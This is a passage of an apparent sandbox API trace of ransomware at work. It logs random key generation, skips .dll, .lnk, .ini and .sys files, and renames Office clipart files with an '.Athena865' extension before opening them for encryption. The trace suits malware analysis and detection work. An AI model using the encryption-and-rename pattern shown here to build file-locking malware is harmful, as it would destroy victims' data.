dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.298] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3768) returned 1 [0122.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.298] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.299] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.299] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.301] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.302] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.302] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.302] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BOAT.WMF" | out: lpString1="BOAT.WMF") returned="BOAT.WMF" [0122.303] lstrlenW (lpString="BOAT.WMF") returned 8 [0122.303] lstrlenW (lpString="Athena865") returned 9 [0122.303] lstrlenW (lpString=".dll") returned 4 [0122.303] lstrcmpiW (lpString1="BOAT.WMF", lpString2=".dll") returned 1 [0122.303] lstrlenW (lpString=".lnk") returned 4 [0122.303] lstrcmpiW (lpString1="BOAT.WMF", lpString2=".lnk") returned 1 [0122.303] lstrlenW (lpString=".ini") returned 4 [0122.303] lstrcmpiW (lpString1="BOAT.WMF", lpString2=".ini") returned 1 [0122.303] lstrlenW (lpString=".sys") returned 4 [0122.303] lstrcmpiW (lpString1="BOAT.WMF", lpString2=".sys") returned 1 [0122.303] lstrlenW (lpString="BOAT.WMF") returned 8 [0122.303] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.Athena865") returned 69 [0122.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.athena865"), dwFlags=0x1) returned 1 [0122.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.304] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3350) returned 1 [0122.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.304] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.305] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.305] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.308] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.309] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.309] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.309] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BOATINST.WMF" | out: lpString1="BOATINST.WMF") returned="BOATINST.WMF" [0122.309] lstrlenW (lpString="BOATINST.WMF") returned 12 [0122.309] lstrlenW (lpString="Athena865") returned 9 [0122.309] lstrcmpiW (lpString1="TINST.WMF", lpString2="Athena865") returned 1 [0122.309] lstrlenW (lpString=".dll") returned 4 [0122.309] lstrcmpiW (lpString1="BOATINST.WMF", lpString2=".dll") returned 1 [0122.309] lstrlenW (lpString=".lnk") returned 4 [0122.309] lstrcmpiW (lpString1="BOATINST.WMF", lpString2=".lnk") returned 1 [0122.309] lstrlenW (lpString=".ini") returned 4 [0122.309] lstrcmpiW (lpString1="BOATINST.WMF", lpString2=".ini") returned 1 [0122.309] lstrlenW (lpString=".sys") returned 4 [0122.309] lstrcmpiW (lpString1="BOATINST.WMF", lpString2=".sys") returned 1 [0122.310] lstrlenW (lpString="BOATINST.WMF") returned 12 [0122.310] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.Athena865") returned 73 [0122.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.athena865"), dwFlags=0x1) returned 1 [0122.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.311] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29004) returned 1 [0122.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.311] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.312] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.312] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.316] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.317] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.317] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.318] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00076_.WMF" | out: lpString1="BS00076_.WMF") returned="BS00076_.WMF" [0122.318] lstrlenW (lpString="BS00076_.WMF") returned 12 [0122.318] lstrlenW (lpString="Athena865") returned 9 [0122.318] lstrcmpiW (lpString1="0076_.WMF", lpString2="Athena865") returned -1 [0122.318] lstrlenW (lpString=".dll") returned 4 [0122.318] lstrcmpiW (lpString1="BS00076_.WMF", lpString2=".dll") returned 1 [0122.318] lstrlenW (lpString=".lnk") returned 4 [0122.318] lstrcmpiW (lpString1="BS00076_.WMF", lpString2=".lnk") returned 1 [0122.318] lstrlenW (lpString=".ini") returned 4 [0122.318] lstrcmpiW (lpString1="BS00076_.WMF", lpString2=".ini") returned 1 [0122.318] lstrlenW (lpString=".sys") returned 4 [0122.318] lstrcmpiW (lpString1="BS00076_.WMF", lpString2=".sys") returned 1 [0122.318] lstrlenW (lpString="BS00076_.WMF") returned 12 [0122.318] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.Athena865") returned 73 [0122.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.320] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1330) returned 1 [0122.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.321] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.321] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.321] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.327] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.328] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.328] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.328] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00078_.WMF" | out: lpString1="BS00078_.WMF") returned="BS00078_.WMF" [0122.328] lstrlenW (lpString="BS00078_.WMF") returned 12 [0122.328] lstrlenW (lpString="Athena865") returned 9 [0122.328] lstrcmpiW (lpString1="0078_.WMF", lpString2="Athena865") returned -1 [0122.328] lstrlenW (lpString=".dll") returned 4 [0122.328] lstrcmpiW (lpString1="BS00078_.WMF", lpString2=".dll") returned 1 [0122.328] lstrlenW (lpString=".lnk") returned 4 [0122.328] lstrcmpiW (lpString1="BS00078_.WMF", lpString2=".lnk") returned 1 [0122.328] lstrlenW (lpString=".ini") returned 4 [0122.328] lstrcmpiW (lpString1="BS00078_.WMF", lpString2=".ini") returned 1 [0122.328] lstrlenW (lpString=".sys") returned 4 [0122.328] lstrcmpiW (lpString1="BS00078_.WMF", lpString2=".sys") returned 1 [0122.328] lstrlenW (lpString="BS00078_.WMF") returned 12 [0122.329] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.Athena865") returned 73 [0122.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.330] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1444) returned 1 [0122.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.331] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.331] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.331] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.333] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.334] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.334] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.334] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00092_.WMF" | out: lpString1="BS00092_.WMF") returned="BS00092_.WMF" [0122.335] lstrlenW (lpString="BS00092_.WMF") returned 12 [0122.335] lstrlenW (lpString="Athena865") returned 9 [0122.335] lstrcmpiW (lpString1="0092_.WMF", lpString2="Athena865") returned -1 [0122.335] lstrlenW (lpString=".dll") returned 4 [0122.335] lstrcmpiW (lpString1="BS00092_.WMF", lpString2=".dll") returned 1 [0122.335] lstrlenW (lpString=".lnk") returned 4 [0122.335] lstrcmpiW (lpString1="BS00092_.WMF", lpString2=".lnk") returned 1 [0122.335] lstrlenW (lpString=".ini") returned 4 [0122.335] lstrcmpiW (lpString1="BS00092_.WMF", lpString2=".ini") returned 1 [0122.335] lstrlenW (lpString=".sys") returned 4 [0122.335] lstrcmpiW (lpString1="BS00092_.WMF", lpString2=".sys") returned 1 [0122.335] lstrlenW (lpString="BS00092_.WMF") returned 12 [0122.335] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.Athena865") returned 73 [0122.335] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.336] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7974) returned 1 [0122.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.336] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.337] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.337] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.340] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.341] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.341] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.342] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00100_.WMF" | out: lpString1="BS00100_.WMF") returned="BS00100_.WMF" [0122.342] lstrlenW (lpString="BS00100_.WMF") returned 12 [0122.342] lstrlenW (lpString="Athena865") returned 9 [0122.342] lstrcmpiW (lpString1="0100_.WMF", lpString2="Athena865") returned -1 [0122.342] lstrlenW (lpString=".dll") returned 4 [0122.342] lstrcmpiW (lpString1="BS00100_.WMF", lpString2=".dll") returned 1 [0122.342] lstrlenW (lpString=".lnk") returned 4 [0122.342] lstrcmpiW (lpString1="BS00100_.WMF", lpString2=".lnk") returned 1 [0122.342] lstrlenW (lpString=".ini") returned 4 [0122.342] lstrcmpiW (lpString1="BS00100_.WMF", lpString2=".ini") returned 1 [0122.342] lstrlenW (lpString=".sys") returned 4 [0122.342] lstrcmpiW (lpString1="BS00100_.WMF", lpString2=".sys") returned 1 [0122.342] lstrlenW (lpString="BS00100_.WMF") returned 12 [0122.342] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.Athena865") returned 73 [0122.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.343] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2378) returned 1 [0122.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.344] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.344] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.344] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.347] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.348] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.348] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.348] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00135_.WMF" | out: lpString1="BS00135_.WMF") returned="BS00135_.WMF" [0122.348] lstrlenW (lpString="BS00135_.WMF") returned 12 [0122.348] lstrlenW (lpString="Athena865") returned 9 [0122.348] lstrcmpiW (lpString1="0135_.WMF", lpString2="Athena865") returned -1 [0122.349] lstrlenW (lpString=".dll") returned 4 [0122.349] lstrcmpiW (lpString1="BS00135_.WMF", lpString2=".dll") returned 1 [0122.349] lstrlenW (lpString=".lnk") returned 4 [0122.349] lstrcmpiW (lpString1="BS00135_.WMF", lpString2=".lnk") returned 1 [0122.349] lstrlenW (lpString=".ini") returned 4 [0122.349] lstrcmpiW (lpString1="BS00135_.WMF", lpString2=".ini") returned 1 [0122.349] lstrlenW (lpString=".sys") returned 4 [0122.349] lstrcmpiW (lpString1="BS00135_.WMF", lpString2=".sys") returned 1 [0122.349] lstrlenW (lpString="BS00135_.WMF") returned 12 [0122.349] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.Athena865") returned 73 [0122.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.350] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1044) returned 1 [0122.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.350] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.351] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.351] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.353] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.354] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.354] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.355] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00136_.WMF" | out: lpString1="BS00136_.WMF") returned="BS00136_.WMF" [0122.355] lstrlenW (lpString="BS00136_.WMF") returned 12 [0122.355] lstrlenW (lpString="Athena865") returned 9 [0122.355] lstrcmpiW (lpString1="0136_.WMF", lpString2="Athena865") returned -1 [0122.355] lstrlenW (lpString=".dll") returned 4 [0122.355] lstrcmpiW (lpString1="BS00136_.WMF", lpString2=".dll") returned 1 [0122.355] lstrlenW (lpString=".lnk") returned 4 [0122.355] lstrcmpiW (lpString1="BS00136_.WMF", lpString2=".lnk") returned 1 [0122.355] lstrlenW (lpString=".ini") returned 4 [0122.355] lstrcmpiW (lpString1="BS00136_.WMF", lpString2=".ini") returned 1 [0122.355] lstrlenW (lpString=".sys") returned 4 [0122.355] lstrcmpiW (lpString1="BS00136_.WMF", lpString2=".sys") returned 1 [0122.355] lstrlenW (lpString="BS00136_.WMF") returned 12 [0122.355] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.Athena865") returned 73 [0122.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.356] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2166) returned 1 [0122.356] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.356] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.356] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.357] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.357] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.357] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.359] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.360] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.360] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.361] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00145_.WMF" | out: lpString1="BS00145_.WMF") returned="BS00145_.WMF" [0122.361] lstrlenW (lpString="BS00145_.WMF") returned 12 [0122.361] lstrlenW (lpString="Athena865") returned 9 [0122.361] lstrcmpiW (lpString1="0145_.WMF", lpString2="Athena865") returned -1 [0122.361] lstrlenW (lpString=".dll") returned 4 [0122.361] lstrcmpiW (lpString1="BS00145_.WMF", lpString2=".dll") returned 1 [0122.361] lstrlenW (lpString=".lnk") returned 4 [0122.361] lstrcmpiW (lpString1="BS00145_.WMF", lpString2=".lnk") returned 1 [0122.361] lstrlenW (lpString=".ini") returned 4 [0122.361] lstrcmpiW (lpString1="BS00145_.WMF", lpString2=".ini") returned 1 [0122.361] lstrlenW (lpString=".sys") returned 4 [0122.361] lstrcmpiW (lpString1="BS00145_.WMF", lpString2=".sys") returned 1 [0122.361] lstrlenW (lpString="BS00145_.WMF") returned 12 [0122.361] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.Athena865") returned 73 [0122.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 